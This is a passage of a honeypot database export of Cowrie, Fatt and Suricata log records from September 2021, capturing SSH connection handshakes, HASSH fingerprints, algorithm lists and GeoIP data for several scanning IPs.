25877	115.72.130.93	109.199.241.180	Fatt	2021-09-20 14:11:01.105049+03	2021-09-20 14:15:12.549645+03	{"_id": "dAbmAnwBvYTbRNuE7x1m", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 35942, "dest_port": 22, "timestamp": "2021-09-20T11:11:01.105049", "@timestamp": "2021-09-20T11:11:01.105Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25878	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:11:01.16788+03	2021-09-20 14:15:12.551647+03	{"_id": "dQbmAnwBvYTbRNuE7x1m", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.105.211.46", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 57684, "timestamp": "2021-09-20T11:11:01.167880", "@timestamp": "2021-09-20T11:11:01.167Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25879	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:11:01.162852+03	2021-09-20 14:15:12.552645+03	{"_id": "gQbmAnwBvYTbRNuE7x38", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.105.211.46:57684 (192.168.176.2:22) [session: 35441b91800d]", "session": "35441b91800d", "@version": "1", "protocol": "ssh", "src_port": 57684, "dest_port": 22, "timestamp": "2021-09-20T11:11:01.162852Z", "@timestamp": "2021-09-20T11:11:01.162Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
25880	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:11:00.88839+03	2021-09-20 14:15:12.553646+03	{"_id": "hwbmAnwBvYTbRNuE7x38", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "5191d115c24d", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:11:00.888390Z", "@timestamp": "2021-09-20T11:11:00.888Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
25881	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:11:01.105644+03	2021-09-20 14:15:12.555644+03	{"_id": "iAbmAnwBvYTbRNuE7x38", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "5191d115c24d", "@version": "1", "timestamp": "2021-09-20T11:11:01.105644Z", "@timestamp": "2021-09-20T11:11:01.105Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
25882	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:11:01.165808+03	2021-09-20 14:15:12.556645+03	{"_id": "iQbmAnwBvYTbRNuE7x38", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "35441b91800d", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:11:01.165808Z", "@timestamp": "2021-09-20T11:11:01.165Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
25883	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:11:01.492956+03	2021-09-20 14:15:12.557644+03	{"_id": "igbmAnwBvYTbRNuE7x38", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "35441b91800d", "@version": "1", "timestamp": "2021-09-20T11:11:01.492956Z", "@timestamp": "2021-09-20T11:11:01.492Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
25884	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:11:01.103347+03	2021-09-20 14:15:12.558646+03	{"_id": "jAbmAnwBvYTbRNuE8h0y", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 1812916101985692, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 35942, "dest_port": 22, "timestamp": "2021-09-20T11:11:01.103347Z", "@timestamp": "2021-09-20T11:11:01.103Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
25885	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:11:03.371489+03	2021-09-20 14:15:12.560646+03	{"_id": "ngbmAnwBvYTbRNuE9x3M", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:43194 (192.168.176.2:22) [session: c08df8e155e9]", "session": "c08df8e155e9", "@version": "1", "protocol": "ssh", "src_port": 43194, "dest_port": 22, "timestamp": "2021-09-20T11:11:03.371489Z", "@timestamp": "2021-09-20T11:11:03.371Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
25886	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:11:02.706962+03	2021-09-20 14:15:12.561646+03	{"_id": "oQbmAnwBvYTbRNuE9x3M", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "33f108df7e24", "@version": "1", "timestamp": "2021-09-20T11:11:02.706962Z", "@timestamp": "2021-09-20T11:11:02.706Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
25887	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:11:03.857713+03	2021-09-20 14:15:12.562646+03	{"_id": "ogbmAnwBvYTbRNuE-h0D", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 2118333374096094, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 43194, "dest_port": 22, "timestamp": "2021-09-20T11:11:03.857713Z", "@timestamp": "2021-09-20T11:11:03.857Z", "event_type": "ssh", 